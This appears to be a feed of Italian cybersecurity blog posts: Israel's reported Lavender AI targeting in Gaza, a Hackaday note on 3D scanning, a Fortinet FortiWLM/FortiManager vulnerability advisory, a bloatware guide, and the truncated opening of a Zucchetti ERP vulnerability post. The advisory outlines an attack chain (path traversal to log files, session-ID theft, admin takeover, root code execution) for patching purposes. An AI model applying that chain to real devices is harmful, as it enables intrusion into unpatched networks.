Negli ultimi anni, l’utilizzo dell’intelligenza artificiale (AI) nei conflitti armati ha aperto scenari inediti e profondamente controversi. Una delle più recenti e discusse applicazioni riguarda l’esercito israeliano (IDF) e l’uso del sistema di intelligenza artificiale noto come “Lavender” nelle operazioni militari nella Striscia di Gaza. Questa tecnologia avanzata è stata impiegata per identificare e selezionare obiettivi da colpire durante i bombardamenti, ma la sua implementazione ha sollevato numerose critiche e preoccupazioni per le implicazioni etiche, legali e umanitarie.

Il Funzionamento del Sistema Lavender

Secondo un’inchiesta approfondita pubblicata da +972 Magazine, Lavender è un sofisticato algoritmo progettato per analizzare una grande quantità di dati di intelligence e identificare automaticamente sospetti militanti palestinesi. Lavender è stato sviluppato come parte del programma di modernizzazione dell’IDF, con l’obiettivo di migliorare l’efficacia delle operazioni militari attraverso l’uso dell’intelligenza artificiale predittiva. L’algoritmo si basa su enormi set di dati di intelligence raccolti da fonti diverse, tra cui:

• Intercettazioni telefoniche.
• Geolocalizzazione dei dispositivi mobili.
• Profilazione attraverso i social media.
• Analisi dei movimenti e delle abitudini personali.

L’IDF ha implementato questo sistema per velocizzare e automatizzare il processo di identificazione dei sospetti militanti e dei loro presunti nascondigli. Durante i conflitti recenti, in particolare nell’offensiva a Gaza del 2021, Lavender è stato utilizzato per individuare e colpire obiettivi con una rapidità e un’efficienza senza precedenti.

Lavender elabora grandi quantità di dati attraverso machine learning e algoritmi di analisi predittiva. Il sistema identifica comportamenti e modelli di attività che, secondo i criteri predefiniti dall’IDF, sono associati ai militanti di Hamas e di altre fazioni armate.

Il processo decisionale funziona in questo modo:

1. Raccolta dei dati da fonti di intelligence digitali.
2. Analisi dei pattern comportamentali per individuare sospetti.
3. Generazione di liste di obiettivi, con dettagli sui movimenti e sugli indirizzi.
4. Validazione rapida da parte degli ufficiali, spesso in pochi secondi.
5. Esecuzione dell’attacco attraverso raid aerei mirati.

Durante il conflitto a Gaza, il sistema Lavender ha identificato circa 37.000 potenziali obiettivi. Questo numero impressionante suggerisce che il processo decisionale è stato automatizzato a un livello mai visto prima. Mentre il sistema è stato progettato per “assistere” gli ufficiali dell’IDF, le decisioni venivano spesso convalidate quasi automaticamente, lasciando poco spazio alla verifica umana approfondita. In molti casi, un bersaglio veniva approvato per un bombardamento in meno di un minuto.

Un Processo Decisionale Rapido ma Controverso

Nonostante l’intento dichiarato di migliorare l’accuratezza e ridurre gli errori umani, Lavender non è privo di difetti. Secondo l’inchiesta di +972 Magazine, l’intervento umano nel processo decisionale è spesso minimo. Una volta che l’AI identifica un obiettivo, il tempo a disposizione degli ufficiali per eseguire una verifica è estremamente ridotto, spesso meno di un minuto.

L’adozione di Lavender ha permesso all’IDF di agire con una rapidità senza precedenti. Tuttavia, questa velocità ha comportato una serie di rischi significativi. Gli attacchi aerei spesso colpivano abitazioni private mentre i sospetti si trovavano con le loro famiglie, portando a un alto numero di vittime civili. Secondo i resoconti, in alcuni casi l’AI si è basata su dati incompleti o errati, portando a errori di identificazione con conseguenze tragiche.

Il tasso di errore stimato per Lavender è del 10%. Anche se questa percentuale può sembrare bassa in termini statistici, applicata a decine di migliaia di bersagli può tradursi in centinaia, se non migliaia, di vite umane perse a causa di errori dell’AI.

Violazione dei Principi del Diritto Internazionale Umanitario

Il diritto internazionale umanitario stabilisce principi fondamentali per la conduzione delle guerre, come la distinzione tra combattenti e civili e la proporzionalità nell’uso della forza. L’uso di un sistema AI come Lavender, con controllo umano limitato, mette a rischio il rispetto di questi principi. Bombardamenti basati su identificazioni automatizzate possono portare a violazioni delle Convenzioni di Ginevra, che richiedono di prendere tutte le precauzioni possibili per proteggere i civili.

Organizzazioni per i diritti umani, come Human Rights Watch e Amnesty International, hanno espresso profonda preoccupazione per l’impiego di queste tecnologie. La capacità dell’AI di agire senza una supervisione adeguata rappresenta una minaccia per il diritto alla vita e può costituire una forma di “giustizia sommaria” tecnologicamente avanzata ma eticamente discutibile.

Confronto con l’Uso dell’AI in Altri Contesti Bellici

L’uso dell’AI nei conflitti non è un’esclusiva dell’IDF. Anche in Ucraina, durante l’invasione russa, sono state utilizzate tecnologie di intelligenza artificiale per ottimizzare la difesa e identificare obiettivi nemici. Tuttavia, il caso di Lavender si distingue per l’ampiezza del suo utilizzo e la velocità decisionale. Mentre in Ucraina l’AI viene usata principalmente per scopi difensivi, nel contesto di Gaza è stata impiegata in una campagna di bombardamenti offensivi su larga scala.

Questa distinzione solleva interrogativi su come l’AI possa essere regolamentata nei conflitti futuri e quale sia il limite etico per l’automazione delle decisioni militari.

Un Futuro di Guerra Automatizzata

La crescente dipendenza da sistemi di AI nei conflitti moderni potrebbe alterare radicalmente le modalità con cui vengono condotte le guerre. Gli esperti avvertono che una progressiva automazione delle decisioni belliche potrebbe portare a un “disimpegno morale” da parte degli esseri umani coinvolti, riducendo la percezione delle conseguenze delle azioni militari.

Inoltre, l’assenza di una regolamentazione internazionale chiara sull’uso dell’AI nei conflitti potrebbe creare un precedente pericoloso, incentivando una corsa agli armamenti tecnologici senza controlli adeguati. Senza linee guida rigorose, il rischio di abusi e violazioni dei diritti umani è destinato ad aumentare.

Il caso di Lavender rappresenta un campanello d’allarme per la comunità internazionale. L’adozione dell’intelligenza artificiale nei conflitti richiede una riflessione profonda e l’implementazione di normative rigorose per garantire che queste tecnologie siano utilizzate in modo etico e responsabile. Il futuro della guerra automatizzata è già una realtà, e il mondo deve affrontare questa sfida con la massima attenzione per evitare un’ulteriore escalation di violazioni dei diritti umani e di sofferenze civili.

L'articolo Lavender: Le AI entrano in Guerra: Dispiegata dall’esercito Israeliano a Gaza proviene da il blog della sicurezza informatica.

Not all 3D scanning is alike, and the right workflow can depend on the object involved. [Ding Dong Drift] demonstrates this in his 3D scan of a project car. His goal is to design custom attachments, and designing parts gets a lot easier with an accurate 3D model of the surface you want to stick them on. But it’s not as simple as just scanning the whole vehicle. His advice? Don’t try to use or edit the 3D scan directly as a model. Use it as a reference instead.
Rather than manipulate the 3D scan directly, a better approach is sometimes to use it as a modeling reference to fine-tune dimensions.
To do this, [Ding Dong Drift] scans the car’s back end and uses it as a reference for further CAD work. The 3D scan is essentially a big point cloud and the resulting model has a very high number of polygons. While it is dimensionally accurate, it’s also fragmented (the scanner only captures what it can see, after all) and not easy to work with in terms of part design.

In [Ding Dong Drift]’s case, he already has a 3D model of this particular car. He uses the 3D scan to fine-tune the model so that he can ensure it matches his actual car where it counts. That way, he’s confident that any parts he designs will fit perfectly.

3D scanning has a lot of value when parts have to fit other parts closely and there isn’t a flat surface or a right angle to be found. We saw how useful it was when photogrammetry was used to scan the interior of a van to help convert it to an off-grid camper. Things have gotten better since then, and handheld scanners that make dimensionally accurate scans are even more useful.

youtube.com/embed/IcIRhBEO8_M?…

hackaday.com/2024/12/20/watch-…

Fortinet ha recentemente rilasciato un avviso per una grave vulnerabilità di sicurezza che riguarda il FortiWLM (Wireless LAN Manager), già corretta con un aggiornamento. Questa falla, identificata come CVE-2023-34990, presenta un punteggio CVSS di 9.6 su 10, evidenziando la sua pericolosità.

La vulnerabilità in FortiWLM

La vulnerabilità sfrutta una debolezza di path traversal relativa (CWE-23), consentendo a un attaccante remoto non autenticato di leggere file sensibili sul sistema tramite richieste web specifiche. Inoltre, secondo una descrizione nel National Vulnerability Database del NIST, questa vulnerabilità può essere utilizzata anche per eseguire codice o comandi non autorizzati.

Le versioni impattate includono:

• FortiWLM 8.6.0 fino a 8.6.5 (corretto nella versione 8.6.6 o successive).
• FortiWLM 8.5.0 fino a 8.5.4 (corretto nella versione 8.5.5 o successive).

La scoperta di questa falla è stata attribuita al ricercatore di sicurezza Zach Hanley di Horizon3.ai.

Un attaccante potrebbe sfruttare CVE-2023-34990 per:

• Accedere ai file di log di FortiWLM e rubare ID di sessione degli utenti.
• Utilizzare gli ID di sessione per accedere a endpoint autenticati.
• Compromettere le sessioni web statiche tra gli utenti e ottenere privilegi amministrativi.

La gravità aumenta se la vulnerabilità viene combinata con un’altra falla, CVE-2023-48782 (CVSS 8.8), che consente l’esecuzione di codice remoto come root. Questa vulnerabilità è stata corretta anch’essa nella versione 8.6.6 di FortiWLM.

Anche FortiManager sotto attacco

Oltre a FortiWLM, Fortinet ha risolto una vulnerabilità critica in FortiManager, identificata come CVE-2024-48889 (CVSS 7.2). Questa vulnerabilità, un’iniezione di comandi nel sistema operativo, permette a un attaccante remoto autenticato di eseguire codice non autorizzato tramite richieste FGFM appositamente create.

Le versioni interessate includono:

• FortiManager 7.6.0 (corretto in 7.6.1 o successive).
• Versioni precedenti fino a 6.4.14, con correzioni a partire dalle versioni indicate nel comunicato.

Fortinet ha anche specificato che vari modelli hardware, come 3000F, 3700G e altri, possono essere vulnerabili se la funzione “fmg-status” è attiva.

Implicazioni e misure da adottare

Fortinet è già stata nel mirino di attori malevoli in passato, e dispositivi come FortiWLM e FortiManager continuano ad essere obiettivi appetibili. Queste vulnerabilità dimostrano ancora una volta l’importanza di mantenere i dispositivi aggiornati e di applicare tempestivamente le patch di sicurezza. Gli amministratori di rete devono:

• Aggiornare subito FortiWLM e FortiManager alle versioni sicure indicate.
• Verificare le configurazioni per ridurre i rischi associati a funzioni come “fmg-status”
• Implementare sistemi di monitoraggio che rilevino attività sospette.

Conclusione

Questa serie di vulnerabilità sottolinea l’importanza di adottare un approccio proattivo alla sicurezza informatica. Sebbene Fortinet abbia messo a disposizione gli strumenti per mitigare queste minacce, spetta alle organizzazioni intervenire con tempestività per ridurre il rischio di esposizione ai cybercriminali. In un contesto di minacce sempre più evolute, restare un passo avanti significa investire nella protezione delle proprie infrastrutture IT con strategie mirate e aggiornamenti costanti.

L'articolo Allerta Fortinet: FortiWLM e FortiManager nel mirino degli hacker. Aggiornare Immediatamente! proviene da il blog della sicurezza informatica.

Il bloatware, spesso sottovalutato nello sviluppo delle applicazioni, rappresenta un vero ostacolo per le prestazioni, la sicurezza e l’esperienza utente. Si tratta di funzionalità, librerie o elementi di codice aggiunti senza una reale necessità, che appesantiscono il software e ne compromettono l’efficienza.

Nel contesto competitivo attuale, gli utenti cercano applicazioni leggere, veloci e sicure. Tuttavia, molti sviluppatori cadono nella trappola del bloatware, integrando funzionalità superflue o codici inutili. Questo non solo rallenta l’applicazione, ma ne aumenta anche i costi di manutenzione e il rischio di vulnerabilità.

In questa guida, esploreremo Cos’è il bloatware e come identificarlo, i rischi concreti per lo sviluppo e il successo delle app, strategie e strumenti per eliminarlo e prevenirlo e le best practice per creare un software leggero, performante e scalabile.

Sviluppare applicazioni senza bloatware non è solo una scelta tecnica, ma anche una strategia di successo per distinguersi in un mercato sempre più esigente.

Introduzione al bloatware

Il bloatware è una delle problematiche più insidiose nello sviluppo delle applicazioni moderne. Si riferisce a componenti, librerie o funzionalità che vengono aggiunti al software senza una reale necessità, ma che finiscono per appesantirlo inutilmente. Sebbene il bloatware possa sembrare innocuo a prima vista, in realtà ha un impatto significativo sulle prestazioni, la sicurezza e la manutenzione del software, influenzando negativamente l’esperienza dell’utente e, in ultima analisi, il successo dell’applicazione.

Cos’è il bloatware?

Il bloatware si presenta sotto forma di codice o risorse che non sono essenziali per il funzionamento base dell’applicazione, ma che vengono comunque incluse durante lo sviluppo. Questi elementi superflui potrebbero includere:

• Funzionalità aggiuntive non strettamente necessarie;
• Librerie e dipendenze che appesantiscono il codice senza apportare valore reale;
• Interfacce utente complesse che non sono essenziali per la fruizione delle funzionalità principali.

Quando il bloatware entra a far parte di un progetto software, il codice diventa più pesante, meno leggibile e più difficile da manutenere. Le applicazioni diventano più lente e meno reattive, e in alcuni casi, le prestazioni si deteriorano così tanto da rendere l’esperienza utente insoddisfacente.

L’impatto del bloatware sullo sviluppo delle applicazioni

1. Prestazioni rallentate: il software che contiene troppo codice inutile tende a diventare più lento. L’eccessiva presenza di codice non ottimizzato può rallentare l’elaborazione delle informazioni e aumentare i tempi di risposta dell’applicazione.
2. Aumento della superficie di attacco: ogni libreria o dipendenza aggiunta aumenta le possibilità che il software contenga vulnerabilità. Il bloatware, spesso, include pacchetti non più aggiornati o non correttamente monitorati, aumentando il rischio di attacchi.
3. Difficoltà di manutenzione e scalabilità: con il tempo, il codice inutilmente complesso diventa sempre più difficile da gestire. La presenza di funzioni non utilizzate o duplicate rende la manutenzione costosa e complessa.
4. Problemi di compatibilità: le dipendenze inutilizzate o le risorse superflue possono causare conflitti con altre librerie o strumenti, rendendo più difficile l’integrazione con altri sistemi.

Le sfide per gli sviluppatori

Gli sviluppatori sono spesso costretti a prendere decisioni per trovare un compromesso tra funzionalità e performance. Tuttavia, con l’evoluzione delle tecnologie e dei metodi di sviluppo, l’identificazione e l’eliminazione del bloatware sono diventate priorità fondamentali. Rimuovere il bloatware non solo migliora le prestazioni, ma consente di creare software più sicuro, facile da mantenere e scalabile.

L’obiettivo di un’applicazione moderna è quello di offrire prestazioni elevate e un’esperienza utente fluida, e ciò è possibile solo se il codice è leggero e ottimizzato.

Come identificare il bloatware nei progetti software

Individuare il bloatware nei progetti software è un passo cruciale per migliorare le prestazioni e mantenere il codice pulito. Spesso, il bloatware non si manifesta immediatamente ma si accumula nel tempo, causando problemi di lentezza, complessità e vulnerabilità. Un’analisi attenta e metodica consente di identificare queste inefficienze prima che compromettano l’intero progetto.

Segnali che indicano la presenza di bloatware

1. Tempi di caricamento elevati: un’applicazione che impiega troppo tempo ad avviarsi o a rispondere potrebbe contenere funzionalità inutili;
2. Elevata dimensione del file: se il pacchetto software o l’eseguibile supera di molto le dimensioni previste, potrebbe contenere risorse inutilizzate o ridondanti;
3. Dipendenze non necessarie: librerie o framework aggiunti per funzioni non critiche aumentano la complessità senza un reale valore;
4. Codice duplicato o non utilizzato: segmenti di codice che non vengono mai eseguiti o che replicano funzionalità già esistenti sono spesso una fonte di bloatware;
5. Prestazioni hardware non proporzionali: se l’app richiede più risorse di quante ne giustifichino le funzionalità, potrebbe essere appesantita.

Strumenti per individuare il bloatware

1. Analizzatori di codice statico: strumenti come SonarQube o ESLint aiutano a identificare codice non utilizzato, duplicato o eccessivamente complesso;
2. Monitoraggio delle prestazioni: piattaforme come New Relic o Google Lighthouse consentono di analizzare i tempi di caricamento e il consumo di risorse;
3. Strumenti di analisi delle dipendenze: strumenti come Depcheck o npm audit rivelano librerie inutilizzate o vulnerabili;
4. Debugging avanzato: tecniche di profiling aiutano a individuare colli di bottiglia o funzioni che rallentano l’intera applicazione.

Best practice per l’identificazione del bloatware

• Esegui revisioni periodiche del codice: revisione regolare del codice per rimuovere ciò che non è necessario;
• Utilizza checklist durante lo sviluppo: verifica che ogni nuova funzione o libreria aggiunta sia essenziale per il progetto;
• Collabora con il team: coinvolgi altri sviluppatori per ottenere feedback e suggerimenti sull’ottimizzazione del codice.

Riconoscere il bloatware in fase di sviluppo è fondamentale per prevenire problemi futuri. Un approccio proattivo consente di mantenere il software leggero, performante e conforme agli standard di qualità attesi dagli utenti e dai motori di ricerca.

I rischi del bloatware: prestazioni, sicurezza e costi

Il bloatware può sembrare un problema marginale nelle prime fasi di sviluppo, ma con il tempo i suoi effetti diventano sempre più evidenti. La presenza di codice superfluo non solo appesantisce l’applicazione, ma comporta una serie di rischi che possono compromettere l’esperienza dell’utente e minacciare la sicurezza e la competitività del software.

Prestazioni compromesse

Uno dei rischi più immediati del bloatware riguarda le prestazioni. Aggiungere funzioni e librerie non necessarie rallenta il software, causando problemi di velocità che possono essere molto frustranti per gli utenti. I principali impatti sulle prestazioni includono:

• Tempi di caricamento elevati: le applicazioni più pesanti richiedono più tempo per caricarsi, il che può influire negativamente sull’esperienza utente, portando a una maggiore probabilità di abbandono.
• Eccessivo utilizzo delle risorse: ogni componente aggiuntivo consuma memoria e capacità di elaborazione, rallentando l’intero sistema, soprattutto su dispositivi meno potenti.
• Mancata ottimizzazione: senza un codice snello e ben progettato, l’applicazione può diventare ingombrante, richiedendo tempi più lunghi per l’elaborazione delle informazioni e il completamento delle operazioni.

Le applicazioni con bloatware tendono a diventare sempre più lente nel tempo, con una crescita progressiva delle risorse necessarie, creando un ciclo vizioso che non solo peggiora la qualità dell’esperienza dell’utente, ma anche le performance generali del sistema.

Sicurezza a rischio

Il bloatware non è solo un problema per le prestazioni; può anche essere una minaccia per la sicurezza dell’applicazione. Ogni libreria o componente aggiuntivo che non è strettamente necessario rappresenta una superficie d’attacco aggiuntiva per potenziali vulnerabilità. I principali rischi per la sicurezza legati al bloatware includono:

• Librerie non aggiornate: l’inclusione di librerie obsolete che non vengono più mantenute dai rispettivi sviluppatori può creare vulnerabilità di sicurezza, poiché queste potrebbero non ricevere aggiornamenti o patch per risolvere eventuali problemi.
• Dipendenze vulnerabili: ogni volta che viene aggiunta una libreria esterna o una dipendenza, aumentano le probabilità che una di esse contenga falle di sicurezza sfruttabili da attacchi esterni.
• Accessi non necessari: alcune funzionalità superflue potrebbero richiedere privilegi o accessi non necessari, aumentando il rischio che i dati degli utenti o l’infrastruttura siano compromessi.

Il bloatware aumenta la superficie d’attacco dell’applicazione, creando numerosi punti vulnerabili che i malintenzionati potrebbero sfruttare per compromettere la sicurezza. Un software pieno di codice inutile e non sicuro è particolarmente esposto agli attacchi informatici, il che può causare gravi danni sia agli utenti che all’integrità dell’applicazione stessa.

Aumento dei costi

Infine, uno degli impatti più significativi del bloatware riguarda i costi. Sebbene aggiungere funzionalità e librerie extra possa sembrare una soluzione rapida per soddisfare le esigenze degli utenti, nel lungo periodo comporta spese più alte. I principali costi associati al bloatware sono:

• Costi di manutenzione più alti: un codice più complesso richiede più tempo e risorse per essere aggiornato e mantenuto. Ogni componente aggiuntivo implica un maggiore sforzo nel monitorare, correggere e aggiornare il software.
• Tempo di sviluppo più lungo: l’inclusione di funzionalità non necessarie rallenta lo sviluppo iniziale, poiché richiede più tempo per l’integrazione, il testing e la gestione.
• Costi di supporto: le applicazioni più pesanti possono causare problemi di compatibilità, con conseguente necessità di supporto tecnico e risoluzione di bug frequenti, aumentando i costi di assistenza.

Inoltre, con il passare del tempo, il bloatware rende il software meno scalabile. Se non rimosso, il codice superfluo ostacola l’adattamento dell’applicazione a nuove esigenze o l’aggiunta di nuove funzionalità. Ciò significa che ogni nuova versione dell’applicazione potrebbe richiedere maggiori risorse e tempi di sviluppo più lunghi.

Strategie per evitare il bloatware nello sviluppo

Evita che il bloatware comprometta la qualità delle tue applicazioni con strategie mirate che rendano il processo di sviluppo più efficiente e il software più performante. Identificare e ridurre il bloatware fin dalle prime fasi del ciclo di vita del software è essenziale per garantire applicazioni leggere, sicure e facili da mantenere. In questo capitolo, esploreremo le migliori pratiche e strategie per prevenire il bloatware, concentrandoci su pianificazione, progettazione e gestione del codice.

Pianificazione accurata delle funzionalità

Una delle cause principali del bloatware è l’aggiunta di funzionalità non necessarie. Per evitare che ciò accada, è fondamentale adottare un approccio strategico già nelle prime fasi di sviluppo. Ecco alcuni consigli per una pianificazione efficace:

• Analizzare i requisiti essenziali: prima di aggiungere qualsiasi funzionalità, è cruciale definire chiaramente cosa è necessario per l’applicazione. Evita di cedere a richieste “extra” che non apportano valore significativo all’esperienza dell’utente.
• Definire una roadmap funzionale chiara: stabilisci una sequenza di priorità per lo sviluppo, concentrandoti su ciò che è davvero essenziale per soddisfare gli obiettivi del progetto.
• Concentrarsi sul core business: mantieni il focus sulle funzionalità centrali del prodotto, evitando l’inclusione di caratteristiche che potrebbero sembrare utili ma non sono strettamente legate alla missione dell’applicazione.

Pianificare accuratamente le funzionalità permette di ridurre il rischio di inserire codice non necessario che potrebbe trasformarsi in bloatware.

Utilizzo di librerie e dipendenze minime

Le librerie esterne e le dipendenze sono risorse comuni durante lo sviluppo di software, ma è essenziale utilizzarle con cautela. Un eccesso di librerie non necessarie può facilmente generare bloatware. Ecco come evitarlo:

• Scegliere librerie leggere e modulari: quando è necessario utilizzare librerie esterne, opta per soluzioni che siano minimali, ben documentate e aggiornate regolarmente. Preferisci quelle modulari che ti permettono di includere solo ciò di cui hai bisogno.
• Evitare dipendenze non necessarie: ogni dipendenza aggiunta rappresenta un aumento della superficie di attacco e una potenziale fonte di bloatware. Valuta con attenzione ogni libreria e verifica se davvero è indispensabile.
• Rimuovere le librerie inutilizzate: durante lo sviluppo, è facile accumulare librerie che vengono poi abbandonate. Esegui un monitoraggio regolare e rimuovi ciò che non è più utilizzato.

Includere solo le librerie necessarie non solo riduce il rischio di bloatware, ma migliora anche le prestazioni e la sicurezza complessiva dell’applicazione.

Pratiche di codifica pulita e ottimizzata

Una scrittura del codice efficiente è cruciale per evitare l’introduzione di bloatware. Seguendo le migliori pratiche di codifica, è possibile mantenere il codice leggero e facilmente manutenibile. Alcuni suggerimenti includono:

• Scrivere codice modulare e riutilizzabile: suddividi il codice in moduli piccoli e ben definiti, in modo da evitare duplicazioni e ridondanze che potrebbero appesantire il software.
• Ottimizzare le risorse: rimuovi tutte le risorse non necessarie, come immagini, file CSS o JavaScript inutilizzati, e fai attenzione alla gestione delle risorse per evitare sovraccarichi.
• Eseguire il refactoring periodico: esegui il refactoring del codice regolarmente per semplificarlo, eliminarne le parti obsolete e migliorare l’efficienza complessiva.

Un codice pulito e ben strutturato non solo aiuta a prevenire il bloatware, ma rende anche il processo di manutenzione e aggiornamento più semplice ed economico.

Monitoraggio e testing continui

Il monitoraggio costante e il testing accurato sono essenziali per garantire che il software rimanga privo di bloatware durante tutto il ciclo di vita. Implementando test e tecniche di monitoraggio efficaci, è possibile individuare e correggere i problemi prima che diventino critici. Le principali azioni da intraprendere sono:

• Testing delle prestazioni: esegui test di carico e di stress per misurare l’impatto delle funzionalità aggiuntive e delle dipendenze. Verifica che l’applicazione funzioni in modo fluido anche sotto carico.
• Analisi statica del codice: utilizza strumenti di analisi statica per identificare parti di codice che potrebbero causare inefficienze o contenere bloatware.
• Feedback dagli utenti: raccogli feedback dagli utenti per identificare eventuali lamentele relative alle prestazioni o alla complessità dell’applicazione.

Implementando un sistema di testing continuo, puoi garantire che l’applicazione rimanga sempre ottimizzata e priva di codice superfluo.

Formazione continua del team di sviluppo

Infine, una delle strategie più efficaci per evitare il bloatware è la formazione continua del team di sviluppo. Gli sviluppatori devono essere costantemente aggiornati sulle migliori pratiche e sugli strumenti più recenti per garantire che il codice sia sempre snello e performante. Alcuni passi fondamentali includono:

• Promuovere il design minimalista: sensibilizza il team sull’importanza di adottare un approccio minimalista nel design e nella scrittura del codice.
• Incoraggiare la revisione del codice tra pari: il peer review è fondamentale per identificare e rimuovere il codice non necessario e migliorare la qualità complessiva del software.
• Fornire formazione sugli strumenti di ottimizzazione: assicurati che il team sia competente nell’uso degli strumenti di ottimizzazione del codice, come quelli per il controllo delle dipendenze o per il refactoring del codice.

Una formazione adeguata aiuta il team a prendere decisioni più consapevoli, evitando l’introduzione di bloatware e migliorando le prestazioni e la sicurezza del software.

Strumenti e best practice per un codice leggero ed efficiente

Creare software leggero ed efficiente è una sfida fondamentale nello sviluppo moderno. L’adozione di strumenti appropriati e l’implementazione di best practice nella scrittura del codice sono essenziali per evitare l’introduzione di bloatware, migliorare le prestazioni e ridurre i costi di manutenzione.

Utilizzo di strumenti per l’analisi del codice

Una delle prime azioni da intraprendere per mantenere il codice pulito e leggero è l’utilizzo di strumenti di analisi del codice. Questi strumenti sono progettati per rilevare problematiche come il codice non utilizzato, la duplicazione e altre inefficienze che potrebbero contribuire al bloatware. Ecco alcuni strumenti utili:

• SonarQube: uno strumento di analisi statica del codice che rileva i difetti nel codice, le vulnerabilità di sicurezza e le aree di miglioramento. SonarQube è particolarmente utile per identificare duplicazioni e segmenti di codice non necessari.
• ESLint (per JavaScript): aiuta a mantenere il codice JavaScript pulito e senza errori, identificando codice obsoleto e stilisticamente incoerente. È utile per evitare l’introduzione di codice non ottimizzato.
• PMD (per Java): uno strumento di analisi statica che esamina il codice alla ricerca di potenziali inefficienze e migliora la qualità del software, evitando il bloatware causato da codice ridondante.
• Checkstyle: un altro strumento utile per analizzare la qualità del codice Java e mantenerlo conforme agli standard definiti.

Questi strumenti permettono di identificare e correggere facilmente le inefficienze del codice, prevenendo la crescita del bloatware e migliorando la qualità complessiva.

Ottimizzazione delle dipendenze

Un altro aspetto fondamentale per mantenere il codice leggero è la gestione efficiente delle dipendenze. Le dipendenze esterne, se non monitorate correttamente, possono facilmente appesantire un’applicazione. Ecco come ottimizzarle:

• Usare solo dipendenze necessarie: prima di aggiungere una nuova libreria o dipendenza, valuta con attenzione se è davvero necessaria per il progetto. Ogni dipendenza aggiunge una certa quantità di codice che deve essere caricato e gestito.
• Versione minima delle librerie: quando possibile, scegli versioni leggere o ridotte delle librerie. Alcuni framework e librerie offrono versioni minimaliste che includono solo le funzionalità essenziali.
• Dipendenze modulari: preferisci librerie e framework modulari che ti permettano di importare solo le parti necessarie, evitando di caricare componenti superflui.
• Strumenti per la gestione delle dipendenze: strumenti come Webpack (per JavaScript) e Maven (per Java) possono essere utilizzati per ridurre al minimo le dipendenze caricate nell’applicazione, ottimizzando le performance.

Una corretta gestione delle dipendenze non solo mantiene il codice più snello ma riduce anche il rischio di vulnerabilità di sicurezza e bug derivanti da librerie inutilizzate o obsolete.

Best practice per una codifica snella

Adottare le migliori pratiche durante la scrittura del codice è fondamentale per evitare il bloatware. Ecco alcuni accorgimenti per scrivere codice efficiente e leggero:

• Scrivere codice modulare: il codice modulare è più facile da mantenere, riutilizzare e testare. Suddividi il codice in unità riutilizzabili che possano essere facilmente sostituite o aggiornate senza compromettere l’intera applicazione.
• Rimuovere il codice inutilizzato: una delle cause principali di bloatware è il codice non utilizzato o il codice obsoleto. Esegui una revisione regolare del codice per eliminare tutte le funzionalità che non sono più necessarie o utilizzate.
• Combinare e minimizzare i file: per il codice front-end, è buona prassi combinare e minimizzare i file JavaScript e CSS per ridurre il numero di richieste HTTP e migliorare i tempi di caricamento dell’applicazione.
• Ottimizzare le immagini e le risorse multimediali: le immagini e altre risorse multimediali possono pesare notevolmente su un’applicazione. Utilizza strumenti come ImageOptim o TinyPNG per ridurre la dimensione dei file senza compromettere la qualità visiva.

Scrivere codice modulare e pulito, privo di ridondanze, è una delle migliori strategie per garantire che l’applicazione resti leggera ed efficiente.

Automazione e integrazione continua

L’automazione e l’integrazione continua (CI) sono fondamentali per mantenere un flusso di lavoro regolare e senza intoppi, evitando l’accumulo di bloatware. Utilizzare strumenti di automazione permette di eseguire test, analisi e ottimizzazioni in tempo reale, garantendo la qualità del codice senza interventi manuali. Alcuni strumenti che facilitano questo processo sono:

• Jenkins: un server di automazione open source che aiuta a integrare e distribuire il codice automaticamente. Consente di eseguire test di regressione e analisi statiche del codice ogni volta che viene implementata una nuova funzionalità.
• CircleCI: una piattaforma di integrazione continua che ottimizza i processi di test e distribuzione, riducendo il rischio di introdurre bloatware nelle versioni del software.
• Travis CI: uno strumento di CI che può essere integrato con repository GitHub per automatizzare la compilazione, il test e la distribuzione del codice, garantendo un ciclo di vita del software senza intoppi.

Con l’integrazione continua e l’automazione, è possibile mantenere la qualità del codice alta e impedire l’inclusione di bloatware che potrebbe rallentare il progetto.

Monitoraggio e ottimizzazione delle prestazioni in tempo reale

Un’altra best practice importante per mantenere il codice leggero ed efficiente è il monitoraggio delle prestazioni in tempo reale. Strumenti di monitoraggio permettono di rilevare eventuali problemi di performance e di carico, identificando rapidamente le aree del codice che causano rallentamenti o inefficienze. Alcuni strumenti da considerare sono:

• New Relic: un’applicazione di monitoraggio delle prestazioni che fornisce insight in tempo reale su come l’applicazione sta performando, aiutando a individuare bottlenecks o parti di codice inefficienti.
• AppDynamics: simile a New Relic, AppDynamics è utile per monitorare in tempo reale le performance delle applicazioni e garantire che restino leggere e veloci.
• Google Lighthouse: uno strumento che permette di misurare la qualità delle performance, l’accessibilità e le best practice di un sito web o di un’applicazione. È un ottimo strumento per identificare risorse pesanti e ottimizzare le prestazioni.

Il monitoraggio costante delle prestazioni consente di mantenere il software sempre ottimizzato e prevenire che il bloatware rallenti il sistema.

Conclusioni

Il bloatware rappresenta una delle sfide più insidiose nello sviluppo software moderno. Sebbene possa sembrare un problema minore inizialmente, le sue implicazioni sulle prestazioni, sulla sicurezza e sui costi a lungo termine possono essere devastanti. Questo articolo ha esplorato cos’è il bloatware, come identificarlo nei progetti software, e ha evidenziato i rischi associati, come la riduzione delle prestazioni, l’aumento della superficie di attacco e l’incremento dei costi di manutenzione.

Per contrastare il bloatware, è fondamentale adottare una serie di strategie e best practice. L’utilizzo di strumenti di analisi del codice, la gestione oculata delle dipendenze, l’adozione di un codice modulare e ottimizzato, nonché l’integrazione di tecniche di monitoraggio delle prestazioni in tempo reale, sono tutte azioni cruciali per evitare che il software diventi appesantito e difficile da gestire. Inoltre, l’automazione e l’integrazione continua (CI) giocano un ruolo decisivo nel mantenere il codice sempre efficiente e senza problemi.

In sintesi, sebbene la lotta contro il bloatware richieda un impegno costante e l’adozione di strategie mirate, i benefici di un’applicazione più leggera, sicura e performante sono decisamente superiori. Con una gestione adeguata, è possibile sviluppare software che non solo risponde alle esigenze degli utenti, ma che è anche facile da mantenere, sicuro e pronto a scalare in futuro.

L'articolo Bloatware: il Killer Invisibile della Sicurezza e delle Prestazioni delle App proviene da il blog della sicurezza informatica.

La sicurezza informatica è una sfida sempre più complessa, soprattutto per software aziendali come Zucchetti Ad Hoc Infinity, un ERP (Enterprise Resource Planning) molto utilizzato e apprezzato per gestire processi critici nelle aziende.

Recentemente, la community di BackBox, guidata da Raffaele Forte, ha scoperto delle vulnerabilità che potrebbero mettere a rischio i dati e le operazioni delle organizzazioni che utilizzano questa piattaforma.

Le vulnerabilità scoperte

Gli esperti di BackBox hanno individuato una serie di falle critiche, tra cui:

